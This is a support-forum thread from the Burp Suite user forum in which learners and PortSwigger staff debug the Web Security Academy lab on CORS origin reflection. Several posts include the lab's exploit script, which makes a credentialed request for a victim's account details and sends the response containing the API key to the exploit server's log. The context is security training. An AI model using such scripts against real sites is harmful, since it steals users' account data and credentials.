Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: CORS vulnerability with basic origin reflection not working

Todd | Last updated: Dec 21, 2022 04:58AM UTC

In this lab, I'm stuck on step 5 of the solution: In the browser, go to the exploit server and enter the following HTML, replacing YOUR-LAB-ID with your unique lab URL: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> After replacing YOUR-LAB-ID with my lab ID, and then clicking View Exploit, the server appears to hang and I don't get a response. If I click Deliver Exploit to Victim, the server redirects me to the exploit server page.

Todd | Last updated: Dec 21, 2022 05:00AM UTC

Update: CORS lab 2 isn't working either.

Malinga | Last updated: Dec 21, 2022 12:17PM UTC

CORS labs are not working for me either.

Liam, PortSwigger Agent | Last updated: Dec 21, 2022 02:50PM UTC

Thanks for these reports, Todd and Malinga. Our tests are passing for our CORS labs. Do you have another machine/network to test this on?

Todd | Last updated: Dec 22, 2022 01:40AM UTC

Hi, yes, I tried Firefox and Chrome on Mac OS 64 bit ARM, Ubuntu Linux 64 bit ARM, and Windows 64 bit on Intel, from two different networks (different physical locations and IPs as well). Unfortunately the same result in each case. It's a head-scratcher.

Liam, PortSwigger Agent | Last updated: Dec 22, 2022 01:38PM UTC

Hi Todd. We've manually completed the lab today. The lab is also passing our automated testing.

Todd | Last updated: Dec 22, 2022 02:50PM UTC

Could you tell me which OS and browser you're using? Then I can try that combo and see if I can recreate the problem. I know these problems are hard to track down -- it's part of my job too, so I understand. Thanks.

Todd | Last updated: Dec 22, 2022 02:54PM UTC

I tried it again this morning and the key is not in the URL as described in the lab. Here's what I see: https://<redacted>.exploit-server.net/log?key=%22Resource%20not%20found%20-%20Academy%20Exploit%20Server%22

Liam, PortSwigger Agent | Last updated: Dec 23, 2022 09:49AM UTC

Thanks, Todd. We'll look into this again. However, it is likely to be after the holidays.

Todd | Last updated: Dec 28, 2022 04:18AM UTC

SOLVED The text 'YOUR-LAB-ID' in the lab's solution is not completely correct. Taken literally, this value is just '<random number>.web-security-academy.net'. However, the prefix needs to be included that string for the call to req.open() to work, so the parameter must actually be 'https://<random number>.web-security-academy.net' This solution is clearer: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script>

Kavitha | Last updated: May 18, 2023 09:42PM UTC

Your Script didn't work for me Todd

Ben, PortSwigger Agent | Last updated: May 19, 2023 06:36AM UTC

Hi Kavitha, Can you provide some details of the steps that you are taking to try and solve this lab so that we can assist you further?

Joe | Last updated: Jun 17, 2023 05:16PM UTC

Didn't work for me either Todd

Damian | Last updated: Jul 07, 2023 12:09PM UTC

Still it doesn't work!

Michelle, PortSwigger Agent | Last updated: Jul 07, 2023 12:47PM UTC

Is there a specific CORS lab you're having issues with, or more than one? Can you please tell us more about the problems you're seeing and at what stage of the lab they occur?

Gareth | Last updated: Sep 04, 2023 08:20AM UTC

Hi all, I am having the same issue with this lab: Lab: CORS vulnerability with basic origin reflection When I enter the JS with my Lab Url, I either receive a page full of GET/POST requests or a blank screen. "GET /log?key=%22Resource%20not%20found%20-%20Academy%20Exploit%20Server%22 I have tried without the 'https://' and with 'Https://'. Any ideas? Thanks

Michelle, PortSwigger Agent | Last updated: Sep 04, 2023 10:32AM UTC

Hi In step 6, when you view the exploit, you will see the access logs for the exploit server on the main page, but if you check the URL that you have visited in the main URL bar, you should see the additional information. I hope this helps. You might also find it useful to follow along with the community solution video.

Ben | Last updated: Mar 09, 2024 01:35AM UTC

Hi, im having a similar issue as above, but dont know how to fix this. i have tried it on multiple browsers. My script is <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','0a57002f03f4f14e83638cfb00c90073.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> and where the api key WOULD be, there is "GET /log?key=%22Resource%20not%20found%20-%20Academy%20Exploit%20Server, this is also in my URL how do i fix this? I have tried my own browser, the burp chromium, chrome and all not working.

Michelle, PortSwigger Agent | Last updated: Mar 11, 2024 11:20AM UTC

Hi If you add https:// to the URL for your lab and deliver the exploit to the victim, do you see the victim visiting the exploit server?

Pedro | Last updated: Mar 14, 2024 02:26PM UTC

Hello, I am also having this problem. I have tried to follow the solutions step by step, but when i try to view the exploit, it says "Cross-Origin Request Blocked". Here is my script: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0ac2006d036c63208096851200950026.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> I tried it on FireFox and Burp Chromium and neither have worked. Am I missing something? Thank you.

Michelle, PortSwigger Agent | Last updated: Mar 14, 2024 03:24PM UTC

Hi If you deliver the exploit to the victim and then view the access logs for the exploit server, do you see the victim visiting the exploit server at all?

Pedro | Last updated: Mar 14, 2024 04:20PM UTC

I'm pretty sure, according to this line from the log: 10.0.3.181 2024-03-14 16:17:12 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"

Michelle, PortSwigger Agent | Last updated: Mar 14, 2024 04:21PM UTC

Were there any other lines from that source IP in the logs?

Pedro | Last updated: Mar 14, 2024 04:25PM UTC

No, this was the only one

Michelle, PortSwigger Agent | Last updated: Mar 15, 2024 11:13AM UTC

Hi Thanks for checking. I've just tested delivering the exploit to the victim and saw 3 entries in the access log from the victim's IP. I used the following script on the exploit server <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://<lab-id>.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> Can you give this another go and let me know what you see? If you're still having issues, can you send some screenshots or a screen recording of the steps you're taking and what you see to support@portswigger.net, please?

Pedro | Last updated: Mar 15, 2024 02:31PM UTC

Hello, I've tried it again and it worked. I have no idea what happened but thanks anyway! :)

Vishal | Last updated: May 14, 2024 10:42AM UTC

Hi, Facing the same issue as above. When I save the above exploit and clicked on view exploit it redirects me to "/exploit" and in logs I can see /exploit as well. And lab is very slow too.

Ben, PortSwigger Agent | Last updated: May 14, 2024 01:05PM UTC

Hi Vishal, Are you able to provide us with details of the exploit that you are attempting to use so that we can see this exactly?

Vishal | Last updated: May 14, 2024 01:12PM UTC

Hi Ben, Same as provided in lab solution. In place of Lab ID, using the one which I get from Lab the real one <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script>

Vishal | Last updated: May 15, 2024 05:28AM UTC

Hi Team any update on this

Ben, PortSwigger Agent | Last updated: May 15, 2024 06:57AM UTC

Hi Vishal, Our support service operates on a 24-hour SLA 9am-5pm Monday through to Friday (UK time). Which browser are you currently using to carry out this lab? If you use a standard version of Chrome, does the 'View exploit' functionality work for you?

Alex | Last updated: May 17, 2024 02:01PM UTC

Hi Team, facing the same issue. I've solved this lab in the past, and now using the same script but the exploit fails. When testing the exploit myself using Burp browser I get this error: """ Access to XMLHttpRequest at 'https://0a3200aa03119839807b49f700e500ee.web-security-academy.net/accountDetails' from origin 'https://exploit-0a93005c032d982a806748ad0142005f.exploit-server.net' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Failed to load resource: net::ERR_FAILED: 0a3200aa03119839807b49f700e500ee.web-security-academy.net/accountDetails:1 """

Ben, PortSwigger Agent | Last updated: May 20, 2024 06:45AM UTC

Hi Alex, Can you provide details of your exploit and confirm which browser you are using to carry out this lab?

donato | Last updated: May 23, 2024 07:50AM UTC

Hi Team, I have the same problem as Alex. The exploit works if I send everything to the victim (solving the lab) while it doesn't work when I test the exploit on myself. The error I get is the same as Alex. The code of exploit is this: <html> <body><h1>CORS POC</h1> <script> var req = new XMLHttpRequest(); var url = "https://RANDOMID.web-security-academy.net" req.onreadystatechange = function() { if (req.readyState == XMLHttpRequest .DONE) { fetch("/log?key="+ req.response.Text ) } } req.open('GET', url + "/accountDetails",true); req.withCredentials = true; req.send(); </script> </body> </html>

Ben, PortSwigger Agent | Last updated: May 23, 2024 01:08PM UTC

Hi Donato, Which browser are you using? If you use a standard version of Chrome (and not the embedded browser that comes with Burp) does this allow you to use both the 'View exploit' functionality and the 'Deliver to victim' functionality with the lab?

donato | Last updated: May 24, 2024 09:53AM UTC

I use Chromium Version 120.0.6099.199 installed on Kali Linux 2023.3

Ben, PortSwigger Agent | Last updated: May 24, 2024 01:02PM UTC

Hi, I would suggest using Chrome (if this is at all possible) and see if this allows you to use both types of functionality within the exploit server.

Daniel | Last updated: Jul 05, 2024 09:04AM UTC

This seems broken; tried it with multiple different browsers (Safari, Chromium, Chrome) and they all report a CORS error. Also, there are no sign of external clients calling the exploit in the access logs (even after lab restart).

Ben, PortSwigger Agent | Last updated: Jul 05, 2024 10:55AM UTC

Hi Daniel, Are you able to provide us with details of what your exploit looks like? I have just run through this lab and been able to solve it using the written solution in conjunction with the embedded browser.

Joshua | Last updated: Aug 09, 2024 10:44PM UTC

Based on my logs, it seems that if you send a victim a wrong link, then fix the PoC, and attempt to send it to the victim again, there is no more hit in the logs. Example: If you did not set https:// in the PoC and get this error from the log: /log?key=%22Resource%20not%20found%20-%20Academy%20Exploit%20Server%22 HTTP/1.1"

Joshua | Last updated: Aug 09, 2024 10:46PM UTC

Nevermind, I got a hit finally in the log from the victim in roughly 5 minutes. The lab works.

Adham | Last updated: Aug 14, 2024 09:12AM UTC

I think @donato is the closest one to describe the problem. All three CORS labs work correctly when you send the exploit to the victim. However, none of them work locally when you "View exploit", attempted using latest Firefox and latest Edge (Chromium). It seems that session credentials are not sent by the browser, despite the withCredentials = true, this is confirmed by seeing the /accountDetails returns Unauthorized (Despite being logged in to that site, `session` cookie is not being sent). Any information on why that happens? Tried both using `fetch` with `{credentials: 'include'}` and using the lab solution. TLDR: Solvable with "Send To Victim", seemingly unsolvable locally.

Ben, PortSwigger Agent | Last updated: Aug 14, 2024 12:04PM UTC

Hi, There are some issues with testing the exploit on yourself at the moment that we are looking into. As you have noted, you should still be able to deliver the working exploit to the victim user and solve the lab.

Muhammad | Last updated: Sep 09, 2024 09:25PM UTC

same issue.

Muhammad | Last updated: Sep 09, 2024 09:25PM UTC

can't complete lab.

Ben, PortSwigger Agent | Last updated: Sep 10, 2024 06:23AM UTC

Hi Muhammad, Which CORS lab are you having issues with?

kevin | Last updated: Sep 29, 2024 04:21AM UTC

Having same issue with what Adham reported still. When testing the "View exploit", the cookie is not being sent even with withCredentials = true. The response will set a new cookie session, instead of using the current cookie from being logged in as wiener. Are there any new information on why this occurs?

Jonathan | Last updated: Sep 29, 2024 10:43PM UTC

Hi, I'm also having issues with the very first lab - basic origin reflection. I can view the exploit myself and it works, but sending to the victim does nothing. My exploit code is as follows: <html> <body data-rsssl=1> <h1>Hello World!</h1> <script> var xhr = new XMLHttpRequest(); var url = "https://0a7e00480478c03c81d87538004a00a7.web-security-academy.net" xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE){ fetch("/log?key=" + xhr.responseText) } } xhr.open('GET', url + "/accountDetails", true); xhr.withCredentials = true; xhr.send(null) </script> </body> </html>

Ben, PortSwigger Agent | Last updated: Oct 02, 2024 08:21AM UTC

Hi Jonathan, Are you having issues with this lab as of right now? I have just run through this lab and been able to solve it using the exploit below in a Firefox browser: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a1800fc03b1a1c98735da2200800097.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script>

Jonathan | Last updated: Oct 22, 2024 09:47PM UTC

Yes, even with the solution you provided and my own, I get no interaction from the victim user at all.

Ben, PortSwigger Agent | Last updated: Oct 23, 2024 07:20AM UTC

Hi Jonathan, Do you see this behaviour across different lab instances (so if you let your current lab expire and then relaunch the lab so that you receive one with a different URL)?

Jonathan | Last updated: Oct 23, 2024 07:37PM UTC

I have tried it with 3 different instances so far, with none of them appearing to work. I've had it work in the past, as I have completed the lab, but want to redo the labs.

Jonathan | Last updated: Oct 23, 2024 07:55PM UTC

It worked on the 4th lab, finally! Do you know why this happens? Is it because CORS vulnerabilities can be a little tricky to get working or is it due to the automation of the admin user clicking the link?

Ben, PortSwigger Agent | Last updated: Oct 24, 2024 10:48AM UTC